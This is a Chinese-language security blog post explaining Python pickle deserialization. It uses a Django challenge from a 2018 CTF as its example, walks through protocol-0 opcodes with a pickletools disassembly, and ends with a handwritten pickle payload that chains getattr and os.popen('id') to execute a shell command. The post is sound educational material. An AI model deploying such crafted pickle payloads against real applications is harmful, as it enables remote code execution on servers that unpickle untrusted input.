Python Pickle

2019-05-30 security Python Pickle

在 2018 年的時候有一個 Code-breaking Puzzles 挑戰賽,都是 Web 題,使用的語言橫跨 PHP、Nodejs、Java 與 python,用盡各語言的特性及奇技淫巧來解題

唯一的一題用 Django 出的題目引起了我的興趣,起初環境不知道為什麼架不起來,後來雖然有了 Dockerfile 還是不看太清楚有什麼問題,看了一下設定檔可以猜出大概是反序列化問題,詳細的 write-up 可以在這邊看到

總體來說先用 SSTI 洩漏 sign cookie 用的 SECRET key,再利用 getattr 函數取出被黑名單的函數來執行就大功告成了,但重點是一般在寫反序列化用的 payload 時一次只能執行一個函數,文章後面介紹如何透過手刻 pickle 的方式來解決這個問題

Pickle

pickle.pypickletools.py 與官方的文件中可以看到相關說明,Pickle 是一種協定用來將物件序列化為字串,並且有不同版本(0~4),為了向下相容每個版本的 opcode 意義都相同,只差在新版的協議有較多的 opcode,且 protocol 0 的 opcode 都是可見字元,這邊人工寫的部分主要用這個版本的協定,可以在 pickle.py 中看到這些 opcode

Pickle 透過 stack 與 memo 來執行,其中 stack 用來呼叫函數與存放參數,而 memo 是一個字典(dict) 結構,用來存放運行中碰到過的物件

看看從一般序列化物件後 opcode 是如何

class A(object):
    def __reduce__(self):
        return (print, (0, ))

這邊需要注意在 dumps 的時候需要指定 protocol 為 0,否則會使用預設的 protocol 版本

>>> pickle.dumps(A(), protocol=0)
>>> b'c__builtin__\nprint\np0\n(L0L\ntp1\nRp2\n.'

可以清楚看到一些可見字元跟被呼叫的函數,使用 python 內建的 module 可以看得更清楚一點

pickletools.dis(b'c__builtin__\nprint\np0\n(L0L\ntp1\nRp2\n.')
    0: c    GLOBAL     '__builtin__ print' # 載入 __builtin__.print 函數
   19: p    PUT        0                   # 把 stack 頂端的值放到 memo[0]
   22: (    MARK                           # push 一個標記到 stack
   23: L        LONG       0               # push 一個十進位數到 stack
   27: t        TUPLE      (MARK at 22)    # 把這個 opcode 與到之前標記的內容變成 tuple 再放進 stack
   28: p    PUT        1                   # 把 stack 頂端的值放到 memo[1]
   31: R    REDUCE                         # 呼叫使用 stack 上的參數與函數物件呼叫函數
   32: p    PUT        2                   # 把 stack 頂端的值放到 memo[2]
   35: .    STOP                           # 結束
highest protocol among opcodes = 0

其實這邊就算把 p 的部分都拿掉也是可以正常運作,畢竟放進去之後就再也沒有把結果拿出來用過

想要連續呼叫函數的話只要依樣畫葫蘆即可

Handmade

如果我想要執行 os.popen('id').read() 可以嗎?

op = b'''cbuiltins
print
(cbuiltins
getattr
(cos
popen
(S'id'
tRS'read'
tR(tRtR.
'''

將上面的 pickle code 翻譯成 python code 的話長這樣

getattr(os.popen('id'), 'read')()

執行之後就可以看到 id 的結果了

Conclusion

每當覺得某個語言的 trick 要窮盡之時,總會有意想不到的驚喜,資安果然是一條需要無盡學的道路

References